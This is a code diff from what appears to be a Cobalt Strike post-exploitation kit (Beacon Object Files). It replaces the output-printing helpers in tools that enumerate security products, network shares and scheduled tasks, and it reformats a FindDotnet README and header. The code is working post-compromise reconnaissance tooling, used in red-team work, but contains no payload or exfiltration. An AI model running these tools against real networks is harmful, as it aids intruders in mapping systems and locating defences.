+				internal_printf("%-50ls\t%ls\n", softwareList[i].description, softwareList[i].category);
 				foundSecProduct = true;
                 break;
             }
@@ -685,8 +666,7 @@ void go(char *args, int len) {
 	}
 	
 	if (foundSecProduct) {
-        BeaconOutputStreamW();
-		BeaconPrintf(CALLBACK_OUTPUT, "[+] Finished enumerating.\n");
+        printoutput(TRUE);
     } else {
         BeaconPrintf(CALLBACK_ERROR, "No running security processes were found.\n");
     }

+ 6 - 8
KIT/EnumSecProducts/enumsecproducts.h

@@ -13,19 +13,17 @@ DECLSPEC_IMPORT HANDLE WINAPI WTSAPI32$WTSCloseServer(HANDLE hServer);
 DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetLastError(void);
 
 
-//BeaconPrintToStreamW + BeaconOutputStreamW
-#define MAX_STRING 8192
-INT g_iGarbage = 1;
-LPSTREAM g_lpStream = (LPSTREAM)1;
-LPWSTR g_lpwPrintBuffer = (LPWSTR)1;
-DECLSPEC_IMPORT HRESULT WINAPI OLE32$CreateStreamOnHGlobal(HGLOBAL hGlobal, BOOL fDeleteOnRelease, LPSTREAM *ppstm);
+//bofstart + internal_printf + printoutput
 WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
-WINBASEAPI int __cdecl MSVCRT$_vsnwprintf_s(wchar_t *buffer, size_t sizeOfBuffer, size_t count, const wchar_t *format, va_list argptr);
-WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str);
+WINBASEAPI int WINAPI MSVCRT$vsnprintf(char* buffer, size_t count, const char* format, va_list arg);
 WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
+WINBASEAPI void* WINAPI MSVCRT$memcpy(void* dest, const void* src, size_t count);
 WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
 WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
 WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
 WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);
 
 
+
+
+

BIN
KIT/EnumSecProducts/enumsecproducts.o


+ 80 - 103
KIT/EnumShares/enumshares.c

@@ -7,98 +7,76 @@
 #pragma comment(lib, "Netapi32.lib")
 
 
-
-
-
-//https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
-HRESULT BeaconPrintToStreamW(_In_z_ LPCWSTR lpwFormat, ...) {
-	HRESULT hr = S_FALSE;
-	va_list argList;
-	DWORD dwWritten = 0;
-
-	if (g_lpStream <= (LPSTREAM)1) {
-		hr = OLE32$CreateStreamOnHGlobal(NULL, TRUE, &g_lpStream);
-		if (FAILED(hr)) {
-			return hr;
-		}
-	}
-
-	if (g_lpwPrintBuffer <= (LPWSTR)1) { 
-		g_lpwPrintBuffer = (LPWSTR)MSVCRT$calloc(MAX_STRING, sizeof(WCHAR));
-		if (g_lpwPrintBuffer == NULL) {
-			hr = E_FAIL;
-			goto CleanUp;
-		}
-	}
-
-	va_start(argList, lpwFormat);
-	if (!MSVCRT$_vsnwprintf_s(g_lpwPrintBuffer, MAX_STRING, MAX_STRING -1, lpwFormat, argList)) {
-		hr = E_FAIL;
-		goto CleanUp;
-	}
-
-	if (g_lpStream != NULL) {
-		if (FAILED(hr = g_lpStream->lpVtbl->Write(g_lpStream, g_lpwPrintBuffer, (ULONG)MSVCRT$wcslen(g_lpwPrintBuffer) * sizeof(WCHAR), &dwWritten))) {
-			goto CleanUp;
-		}
-	}
-
-	hr = S_OK;
-
-CleanUp:
-
-	if (g_lpwPrintBuffer != NULL) {
-		MSVCRT$memset(g_lpwPrintBuffer, 0, MAX_STRING * sizeof(WCHAR)); 
-	}
-
-	va_end(argList);
-	return hr;
+//START TrustedSec BOF print code: https://github.com/trustedsec/CS-Situational-Awareness-BOF/blob/master/src/common/base.c
+#ifndef bufsize
+#define bufsize 8192
+#endif
+char *output = 0;  
+WORD currentoutsize = 0;
+HANDLE trash = NULL; 
+int bofstart();
+void internal_printf(const char* format, ...);
+void printoutput(BOOL done);
+
+int bofstart() {   
+    output = (char*)MSVCRT$calloc(bufsize, 1);
+    currentoutsize = 0;
+    return 1;
 }
 
-//https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
-VOID BeaconOutputStreamW() {
-	STATSTG ssStreamData = { 0 };
-	SIZE_T cbSize = 0;
-	ULONG cbRead = 0;
-	LARGE_INTEGER pos;
-	LPWSTR lpwOutput = NULL;
-
-	if (FAILED(g_lpStream->lpVtbl->Stat(g_lpStream, &ssStreamData, STATFLAG_NONAME))) {
-		return;
-	}
-
-	cbSize = ssStreamData.cbSize.LowPart;
-	lpwOutput = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, cbSize + 1);
-	if (lpwOutput != NULL) {
-		pos.QuadPart = 0;
-		if (FAILED(g_lpStream->lpVtbl->Seek(g_lpStream, pos, STREAM_SEEK_SET, NULL))) {
-			goto CleanUp;
-		}
-
-		if (FAILED(g_lpStream->lpVtbl->Read(g_lpStream, lpwOutput, (ULONG)cbSize, &cbRead))) {		
-			goto CleanUp;
-		}
-
-		BeaconPrintf(CALLBACK_OUTPUT, "%ls", lpwOutput);
-	}
-
-CleanUp:
-	if (g_lpStream != NULL) {
-		g_lpStream->lpVtbl->Release(g_lpStream);
-		g_lpStream = NULL;
-	}
-
-	if (g_lpwPrintBuffer != NULL) {
-		MSVCRT$free(g_lpwPrintBuffer); 
-		g_lpwPrintBuffer = NULL;
-	}
-
-	if (lpwOutput != NULL) {
-		KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, lpwOutput);
-	}
-	return;
+void internal_printf(const char* format, ...){
+    int buffersize = 0;
+    int transfersize = 0;
+    char * curloc = NULL;
+    char* intBuffer = NULL;
+    va_list args;
+    va_start(args, format);
+    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); 
+    va_end(args);
+    
+    if (buffersize == -1) return;
+    
+    char* transferBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, bufsize);
+	intBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, buffersize);
+    va_start(args, format);
+    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); 
+    va_end(args);
+    if(buffersize + currentoutsize < bufsize) 
+    {
+        MSVCRT$memcpy(output+currentoutsize, intBuffer, buffersize);
+        currentoutsize += buffersize;
+    } else {
+        curloc = intBuffer;
+        while(buffersize > 0)
+        {
+            transfersize = bufsize - currentoutsize;
+            if(buffersize < transfersize) 
+            {
+                transfersize = buffersize;
+            }
+            MSVCRT$memcpy(output+currentoutsize, curloc, transfersize);
+            currentoutsize += transfersize;
+            if(currentoutsize == bufsize)
+            {
+                printoutput(FALSE); 
+            }
+            MSVCRT$memset(transferBuffer, 0, transfersize); 
+            curloc += transfersize; 
+            buffersize -= transfersize;
+        }
+    }
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, intBuffer);
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, transferBuffer);
 }
 
+void printoutput(BOOL done) {
+    char * msg = NULL;
+    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);
+    currentoutsize = 0;
+    MSVCRT$memset(output, 0, bufsize);
+    if(done) {MSVCRT$free(output); output=NULL;}
+}
+//END TrustedSec BOF print code.
 
 
 
@@ -107,8 +85,8 @@ PSHARE_INFO_1 listShares(wchar_t *servername) {
     DWORD dwEntriesRead = 0, dwTotalEntries = 0, dwResumeHandle = 0;
     NET_API_STATUS nStatus;
 
-    BeaconPrintToStreamW(L"\nListing shares for: %ls\n", servername);
-    BeaconPrintToStreamW(L"=====================================================\n");
+    internal_printf("\n\nListing shares for: %ls\n", servername);
+    internal_printf("=====================================================\n");
 	
     do {
         nStatus = NETAPI32$NetShareEnum(servername, 1, (LPBYTE*)&pShareInfo, MAX_PREFERRED_LENGTH, &dwEntriesRead, &dwTotalEntries, &dwResumeHandle);
@@ -116,10 +94,10 @@ PSHARE_INFO_1 listShares(wchar_t *servername) {
 		
         if ((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA)) {
             for (DWORD i = 0; i < dwEntriesRead; i++) {
-                BeaconPrintToStreamW(L"Share Name: %-10ls <- ", pShareInfo[i].shi1_netname);
+                internal_printf("Share Name: %-10ls <- ", pShareInfo[i].shi1_netname);
 				
 				if (KERNEL32$lstrcmpW(pShareInfo[i].shi1_netname, L"IPC$") == 0) {
-                    BeaconPrintToStreamW(L"[!] No file system access\n");
+                    internal_printf("[!] No file system access\n");
                     continue;
                 }
 				
@@ -134,10 +112,10 @@ PSHARE_INFO_1 listShares(wchar_t *servername) {
 				
                 nStatus = NETAPI32$NetUseAdd(NULL, 2, (LPBYTE)&useInfo, NULL);
                 if (nStatus == NERR_Success) {
-                    BeaconPrintToStreamW(L"[+] Accessible\n");
+                    internal_printf("[+] Accessible\n");
                     NETAPI32$NetUseDel(NULL, fullPath, USE_LOTS_OF_FORCE);
                 } else {
-                    BeaconPrintToStreamW(L"[-] Error access denied\n");
+                    internal_printf("[-] Error access denied\n");
                 }
 				
             }
@@ -146,11 +124,11 @@ PSHARE_INFO_1 listShares(wchar_t *servername) {
             pShareInfo = NULL;
         } else {
             if (nStatus == ERROR_BAD_NETPATH) {
-                BeaconPrintToStreamW(L"Connection error: ERROR_BAD_NETPATH\n");
+                internal_printf("Connection error: ERROR_BAD_NETPATH\n");
 			} else if (nStatus == ERROR_ACCESS_DENIED) {
-                BeaconPrintToStreamW(L"Connection error: ERROR_ACCESS_DENIED\n");
+                internal_printf("Connection error: ERROR_ACCESS_DENIED\n");
             } else {
-                BeaconPrintToStreamW(L"Connection error code: %d\n", nStatus);
+                internal_printf("Connection error code: %d\n", nStatus);
             }
             break;
         }
@@ -170,9 +148,10 @@ int go(char *args, int len) {
 	
     BeaconDataParse(&parser, args, len);
     hostFileBytes = BeaconDataExtract(&parser, &iBytesLen);
+	if(!bofstart()) return;
 
 	if(iBytesLen != 0) {
-        BeaconPrintf(CALLBACK_OUTPUT, "[+] Loaded hostname file in memory with a size of %d bytes\n[*] Start share enumeration..\n", iBytesLen); 
+        BeaconPrintf(CALLBACK_OUTPUT, "[+] Loaded hostname file in memory with a size of %d bytes\n", iBytesLen); 
 		
         hostname = MSVCRT$strtok(hostFileBytes, "\r\n");
         while (hostname != NULL) {
@@ -184,13 +163,11 @@ int go(char *args, int len) {
 			KERNEL32$MultiByteToWideChar(CP_ACP, 0, hostname, -1, wHostname, MAX_PATH);
 			PSHARE_INFO_1 pShareInfo = listShares(wHostname);
             hostname = nextHostname;
-			
-			BeaconOutputStreamW();
+
 			NETAPI32$NetApiBufferFree(pShareInfo);
-			
         }
-		
-		BeaconPrintf(CALLBACK_OUTPUT, "[+] Done!\n"); 
+		printoutput(TRUE);
+		BeaconPrintf(CALLBACK_OUTPUT, "[+] Finished enumerating!\n"); 
 		
     } else {
         BeaconPrintf(CALLBACK_ERROR, "Couldn't load the host file from disk.\n");

+ 5 - 10
KIT/EnumShares/enumshares.h

@@ -11,23 +11,18 @@ DECLSPEC_IMPORT NET_API_STATUS NET_API_FUNCTION NETAPI32$NetApiBufferFree(LPVOID
 DECLSPEC_IMPORT NET_API_STATUS NET_API_FUNCTION NETAPI32$NetUseDel(LMSTR uncname, LMSTR use_name, DWORD force_cond);
 WINBASEAPI int __cdecl MSVCRT$_snwprintf(wchar_t *buffer, size_t count, const wchar_t *format, ...);
 WINBASEAPI int WINAPI KERNEL32$lstrcmpW(LPCWSTR lpString1, LPCWSTR lpString2);
+DECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar(UINT CodePage, DWORD dwFlags, _In_NLS_string_(cbMultiByte)LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);
 
-
-//BeaconPrintToStreamW + BeaconOutputStreamW
-#define MAX_STRING 8192
-INT g_iGarbage = 1;
-LPSTREAM g_lpStream = (LPSTREAM)1;
-LPWSTR g_lpwPrintBuffer = (LPWSTR)1;
-DECLSPEC_IMPORT HRESULT WINAPI OLE32$CreateStreamOnHGlobal(HGLOBAL hGlobal, BOOL fDeleteOnRelease, LPSTREAM *ppstm);
+//bofstart + internal_printf + printoutput
 WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
-WINBASEAPI int __cdecl MSVCRT$_vsnwprintf_s(wchar_t *buffer, size_t sizeOfBuffer, size_t count, const wchar_t *format, va_list argptr);
-WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str);
+WINBASEAPI int WINAPI MSVCRT$vsnprintf(char* buffer, size_t count, const char* format, va_list arg);
 WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
+WINBASEAPI void* WINAPI MSVCRT$memcpy(void* dest, const void* src, size_t count);
 WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
 WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
 WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
 WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);
-DECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar(UINT CodePage, DWORD dwFlags, _In_NLS_string_(cbMultiByte)LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);
+
 
 
 

BIN
KIT/EnumShares/enumshares.o


+ 77 - 99
KIT/EnumTaskScheduler/enumtaskscheduler.c

@@ -6,99 +6,76 @@
 #include "beacon.h"
 
 
-
-
-//https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
-HRESULT BeaconPrintToStreamW(_In_z_ LPCWSTR lpwFormat, ...) {
-	HRESULT hr = S_FALSE;
-	va_list argList;
-	DWORD dwWritten = 0;
-
-	if (g_lpStream <= (LPSTREAM)1) {
-		hr = OLE32$CreateStreamOnHGlobal(NULL, TRUE, &g_lpStream);
-		if (FAILED(hr)) {
-			return hr;
-		}
-	}
-
-	if (g_lpwPrintBuffer <= (LPWSTR)1) { 
-		g_lpwPrintBuffer = (LPWSTR)MSVCRT$calloc(MAX_STRING, sizeof(WCHAR));
-		if (g_lpwPrintBuffer == NULL) {
-			hr = E_FAIL;
-			goto CleanUp;
-		}
-	}
-
-	va_start(argList, lpwFormat);
-	if (!MSVCRT$_vsnwprintf_s(g_lpwPrintBuffer, MAX_STRING, MAX_STRING -1, lpwFormat, argList)) {
-		hr = E_FAIL;
-		goto CleanUp;
-	}
-
-	if (g_lpStream != NULL) {
-		if (FAILED(hr = g_lpStream->lpVtbl->Write(g_lpStream, g_lpwPrintBuffer, (ULONG)MSVCRT$wcslen(g_lpwPrintBuffer) * sizeof(WCHAR), &dwWritten))) {
-			goto CleanUp;
-		}
-	}
-
-	hr = S_OK;
-
-CleanUp:
-
-	if (g_lpwPrintBuffer != NULL) {
-		MSVCRT$memset(g_lpwPrintBuffer, 0, MAX_STRING * sizeof(WCHAR)); // Clear print buffer.
-	}
-
-	va_end(argList);
-	return hr;
+//START TrustedSec BOF print code: https://github.com/trustedsec/CS-Situational-Awareness-BOF/blob/master/src/common/base.c
+#ifndef bufsize
+#define bufsize 8192
+#endif
+char *output = 0;  
+WORD currentoutsize = 0;
+HANDLE trash = NULL; 
+int bofstart();
+void internal_printf(const char* format, ...);
+void printoutput(BOOL done);
+
+int bofstart() {   
+    output = (char*)MSVCRT$calloc(bufsize, 1);
+    currentoutsize = 0;
+    return 1;
 }
 
-//https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
-VOID BeaconOutputStreamW() {
-	STATSTG ssStreamData = { 0 };
-	SIZE_T cbSize = 0;
-	ULONG cbRead = 0;
-	LARGE_INTEGER pos;
-	LPWSTR lpwOutput = NULL;
-
-	if (FAILED(g_lpStream->lpVtbl->Stat(g_lpStream, &ssStreamData, STATFLAG_NONAME))) {
-		return;
-	}
-
-	cbSize = ssStreamData.cbSize.LowPart;
-	lpwOutput = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, cbSize + 1);
-	if (lpwOutput != NULL) {
-		pos.QuadPart = 0;
-		if (FAILED(g_lpStream->lpVtbl->Seek(g_lpStream, pos, STREAM_SEEK_SET, NULL))) {
-			goto CleanUp;
-		}
-
-		if (FAILED(g_lpStream->lpVtbl->Read(g_lpStream, lpwOutput, (ULONG)cbSize, &cbRead))) {		
-			goto CleanUp;
-		}
-
-		BeaconPrintf(CALLBACK_OUTPUT, "%ls", lpwOutput);
-	}
-
-CleanUp:
-
-	if (g_lpStream != NULL) {
-		g_lpStream->lpVtbl->Release(g_lpStream);
-		g_lpStream = NULL;
-	}
-
-	if (g_lpwPrintBuffer != NULL) {
-		MSVCRT$free(g_lpwPrintBuffer);
-		g_lpwPrintBuffer = NULL;
-	}
-
-	if (lpwOutput != NULL) {
-		KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, lpwOutput);
-	}
-
-	return;
+void internal_printf(const char* format, ...){
+    int buffersize = 0;
+    int transfersize = 0;
+    char * curloc = NULL;
+    char* intBuffer = NULL;
+    va_list args;
+    va_start(args, format);
+    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); 
+    va_end(args);
+    
+    if (buffersize == -1) return;
+    
+    char* transferBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, bufsize);
+	intBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, buffersize);
+    va_start(args, format);
+    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); 
+    va_end(args);
+    if(buffersize + currentoutsize < bufsize) 
+    {
+        MSVCRT$memcpy(output+currentoutsize, intBuffer, buffersize);
+        currentoutsize += buffersize;
+    } else {
+        curloc = intBuffer;
+        while(buffersize > 0)
+        {
+            transfersize = bufsize - currentoutsize;
+            if(buffersize < transfersize) 
+            {
+                transfersize = buffersize;
+            }
+            MSVCRT$memcpy(output+currentoutsize, curloc, transfersize);
+            currentoutsize += transfersize;
+            if(currentoutsize == bufsize)
+            {
+                printoutput(FALSE); 
+            }
+            MSVCRT$memset(transferBuffer, 0, transfersize); 
+            curloc += transfersize; 
+            buffersize -= transfersize;
+        }
+    }
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, intBuffer);
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, transferBuffer);
 }
 
+void printoutput(BOOL done) {
+    char * msg = NULL;
+    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);
+    currentoutsize = 0;
+    MSVCRT$memset(output, 0, bufsize);
+    if(done) {MSVCRT$free(output); output=NULL;}
+}
+//END TrustedSec BOF print code.
 
 
 BOOL EnumScheduledTasks(wchar_t * host) {
@@ -143,8 +120,8 @@ BOOL EnumScheduledTasks(wchar_t * host) {
     long numTasks = 0;
     hr = pTaskCollection->lpVtbl->get_Count(pTaskCollection, &numTasks);
 
-	BeaconPrintToStreamW(L"[+] Scheduled tasks in root folder:\n");
-	BeaconPrintToStreamW(L"=======================================================\n\n");
+	internal_printf("[+] Scheduled tasks in root folder:\n");
+	internal_printf("=======================================================\n\n");
 
 	for (long i = 1; i <= numTasks; i++) { 
 		IRegisteredTask* pRegisteredTask = NULL;
@@ -157,7 +134,7 @@ BOOL EnumScheduledTasks(wchar_t * host) {
 			BSTR taskName = NULL;
 			hr = pRegisteredTask->lpVtbl->get_Name(pRegisteredTask, &taskName);
 			if (SUCCEEDED(hr)) {
-				BeaconPrintToStreamW(L"Task Name: %ls\n", taskName);
+				internal_printf("Task Name: %ls\n", taskName);
 				OLEAUT32$SysFreeString(taskName);
 			}
 			
@@ -174,7 +151,7 @@ BOOL EnumScheduledTasks(wchar_t * host) {
 					BSTR userId = NULL;
 					hr = pPrincipal->lpVtbl->get_UserId(pPrincipal, &userId);
 					if (SUCCEEDED(hr)) {
-						BeaconPrintToStreamW(L"- Task running as: %ls\n", userId);
+						internal_printf("- Task running as: %ls\n", userId);
 						OLEAUT32$SysFreeString(userId);
 					}
 					pPrincipal->lpVtbl->Release(pPrincipal);
@@ -206,14 +183,14 @@ BOOL EnumScheduledTasks(wchar_t * host) {
 										};
 
 										WCHAR* actionTypeName = actionTypes[actionType];  // Using actionType as an index
-										BeaconPrintToStreamW(L"- Action type: %s\n", actionTypeName);
+										internal_printf("- Action type: %ls\n", actionTypeName);
 
 										if (actionType == TASK_ACTION_EXEC) {
 											IExecAction* pExecAction = (IExecAction*) pAction;
 											BSTR execPath;
 											hr = pExecAction->lpVtbl->get_Path(pExecAction, &execPath);
 											if (SUCCEEDED(hr)) {
-												BeaconPrintToStreamW(L"- Executable path: %ls\n", execPath);
+												internal_printf("- Executable path: %ls\n", execPath);
 												OLEAUT32$SysFreeString(execPath);
 											}
 										}
@@ -261,7 +238,7 @@ BOOL EnumScheduledTasks(wchar_t * host) {
 																  ? triggerTypeNames[triggerType] 
 																  : L"Unknown";
 
-									BeaconPrintToStreamW(L"- Trigger type: %s\n", triggerTypeName);
+									internal_printf("- Trigger type: %ls\n", triggerTypeName);
 								}
 
 								pTrigger->lpVtbl->Release(pTrigger);
@@ -279,7 +256,7 @@ BOOL EnumScheduledTasks(wchar_t * host) {
 				pRegisteredTask->lpVtbl->Release(pRegisteredTask);
 			}
 		}
-		BeaconPrintToStreamW(L"----------------------------------------------------\n\n");
+		internal_printf("----------------------------------------------------\n\n");
 	}
 
 cleanup:
@@ -308,13 +285,14 @@ int go(char *args, int len) {
 	
 	BeaconDataParse(&parser, args, len);
 	hostName = BeaconDataExtract(&parser, NULL);
+	if(!bofstart()) return;
 
 	res = EnumScheduledTasks(hostName);
 
 	if(!res) BeaconPrintf(CALLBACK_ERROR, "Failed to enumerate scheduled tasks.\n");
 	else  {
-		BeaconOutputStreamW();
-		BeaconPrintf(CALLBACK_OUTPUT, "[+] Done enumerating!\n");
+		printoutput(TRUE);
+		BeaconPrintf(CALLBACK_OUTPUT, "[+] Finished enumerating!\n");
 	}
 
 

+ 9 - 18
KIT/EnumTaskScheduler/enumtaskscheduler.h

@@ -1,22 +1,5 @@
 #include <windows.h>  
 
-//BeaconPrintToStreamW + BeaconOutputStreamW
-#define MAX_STRING 8192
-INT g_iGarbage = 1;
-LPSTREAM g_lpStream = (LPSTREAM)1;
-LPWSTR g_lpwPrintBuffer = (LPWSTR)1;
-DECLSPEC_IMPORT HRESULT WINAPI OLE32$CreateStreamOnHGlobal(HGLOBAL hGlobal, BOOL fDeleteOnRelease, LPSTREAM *ppstm);
-WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
-WINBASEAPI int __cdecl MSVCRT$_vsnwprintf_s(wchar_t *buffer, size_t sizeOfBuffer, size_t count, const wchar_t *format, va_list argptr);
-WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str);
-WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
-WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
-WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
-WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
-WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);
-DECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar(UINT CodePage, DWORD dwFlags, _In_NLS_string_(cbMultiByte)LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);
-
-
 //CreateScheduledTask
 DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeEx(LPVOID pvReserved, DWORD dwCoInit);
 DECLSPEC_IMPORT void WINAPI OLE32$CoUninitialize(void);
@@ -30,4 +13,12 @@ WINBASEAPI int __cdecl MSVCRT$strcmp(const char *str1, const char *str2);
 WINBASEAPI int __cdecl MSVCRT$wcscmp(const wchar_t* str1, const wchar_t* str2);
 
 
-
+//bofstart + internal_printf + printoutput
+WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
+WINBASEAPI int WINAPI MSVCRT$vsnprintf(char* buffer, size_t count, const char* format, va_list arg);
+WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
+WINBASEAPI void* WINAPI MSVCRT$memcpy(void* dest, const void* src, size_t count);
+WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
+WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
+WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
+WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);

BIN
KIT/EnumTaskScheduler/enumtaskscheduler.o


+ 11 - 11
KIT/FindDotnet/README.md

@@ -1,11 +1,11 @@
-# FindDotnet
-Find processes that most likely have .NET loaded by searching for the section name: `\BaseNamedObjects\Cor_Private_IPCBlock(_v4)_<ProcessId>`
-
-## Usage
-* `finddotnet`
-
-## Compile
-- 1\. Make sure Visual Studio is installed and supports C/C++.
-- 2\. Open the `x64 Native Tools Command Prompt for VS <2019/2022>` terminal.
-- 3\. Run the `bofcompile.bat` script to compile the object file. 
-- 4\. In Cobalt strike, use the script manager to load the .cna script to import the tool. 
+# FindDotnet
+Find processes that most likely have .NET loaded by searching for the section name: `\BaseNamedObjects\Cor_Private_IPCBlock(_v4)_<ProcessId>`
+
+## Usage
+* `finddotnet`
+
+## Compile
+- 1\. Make sure Visual Studio is installed and supports C/C++.
+- 2\. Open the `x64 Native Tools Command Prompt for VS <2019/2022>` terminal.
+- 3\. Run the `bofcompile.bat` script to compile the object file. 
+- 4\. In Cobalt strike, use the script manager to load the .cna script to import the tool. 

+ 68 - 68
KIT/FindDotnet/beacon.h

@@ -1,69 +1,69 @@
-/*
- * Beacon Object Files (BOF)
- * -------------------------
- * A Beacon Object File is a light-weight post exploitation tool that runs
- * with Beacon's inline-execute command.
- *
- * Additional BOF resources are available here:
- *   - https://github.com/Cobalt-Strike/bof_template
- *
- * Cobalt Strike 4.x
- * ChangeLog:
- *    1/25/2022: updated for 4.5
- */
-
-/* data API */
-typedef struct {
-	char * original; /* the original buffer [so we can free it] */
-	char * buffer;   /* current pointer into our buffer */
-	int    length;   /* remaining length of data */
-	int    size;     /* total size of this buffer */
-} datap;
-
-DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
-DECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);
-DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
-DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
-DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
-DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);
-
-/* format API */
-typedef struct {
-	char * original; /* the original buffer [so we can free it] */
-	char * buffer;   /* current pointer into our buffer */
-	int    length;   /* remaining length of data */
-	int    size;     /* total size of this buffer */
-} formatp;
-
-DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
-DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
-DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);
-DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);
-DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
-DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
-DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);
-
-/* Output Functions */
-#define CALLBACK_OUTPUT      0x0
-#define CALLBACK_OUTPUT_OEM  0x1e
-#define CALLBACK_OUTPUT_UTF8 0x20
-#define CALLBACK_ERROR       0x0d
-
-DECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);
-DECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);
-
-
-/* Token Functions */
-DECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);
-DECLSPEC_IMPORT void   BeaconRevertToken();
-DECLSPEC_IMPORT BOOL   BeaconIsAdmin();
-
-/* Spawn+Inject Functions */
-DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
-DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
-DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
-DECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
-DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
-
-/* Utility Functions */
+/*
+ * Beacon Object Files (BOF)
+ * -------------------------
+ * A Beacon Object File is a light-weight post exploitation tool that runs
+ * with Beacon's inline-execute command.
+ *
+ * Additional BOF resources are available here:
+ *   - https://github.com/Cobalt-Strike/bof_template
+ *
+ * Cobalt Strike 4.x
+ * ChangeLog:
+ *    1/25/2022: updated for 4.5
+ */
+
+/* data API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} datap;
+
